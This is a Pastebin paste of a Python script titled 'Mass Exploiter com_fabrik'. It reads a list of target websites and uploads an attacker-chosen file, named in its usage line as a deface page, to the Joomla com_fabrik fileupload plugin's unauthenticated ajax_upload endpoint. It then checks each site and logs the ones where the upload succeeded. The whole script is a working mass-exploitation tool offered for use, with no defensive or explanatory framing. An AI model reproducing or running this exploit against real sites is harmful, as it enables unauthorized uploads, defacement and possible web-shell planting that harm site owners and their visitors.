Advertisement
Guest User

cicak

a guest
Dec 17th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. import requests, urllib, sys
  2.  
  3. print("""
  4. :::::::::::::::::::::::::::::::::::::::::::
  5. :: ::
  6. :: Mass Exploiter com_fabrik ::
  7. :: Coded By ./Xi4u7 ::
  8. :: Author Exploit Et04 & bL@cKID ::
  9. :: Thx To AndroSec1337 Cyber Team & You ::
  10. :: ::
  11. :::::::::::::::::::::::::::::::::::::::::::
  12. """)
  13.  
  14. try:
  15. list = sys.argv[1]
  16. scrp = sys.argv[2]
  17. except:
  18. print("[!] python "+sys.argv[0]+" list.txt script_deface.html\n")
  19. exit(1)
  20.  
  21. out = open('com_fabrik-output.txt', 'a')
  22. print("[+] Exploiting Service Started !")
  23. f = open(list, 'r')
  24. while True:
  25. trgt = f.readline().replace('\n', '')
  26. if not trgt:
  27. break
  28. url = trgt+'index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload'
  29. fin = open(scrp, 'rb')
  30. files = {'file': fin}
  31. r = requests.post(url, files=files)
  32. cek = urllib.urlopen(trgt+scrp).getcode()
  33. if cek == 200:
  34. print(" | "+trgt+scrp+" -> SUKSES")
  35. out.write(trgt+scrp+'\n')
  36. else:
  37. print(" | "+trgt+scrp+" -> FAILED")
  38. pass
  39. print("[+] Service Exploiting Done !")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement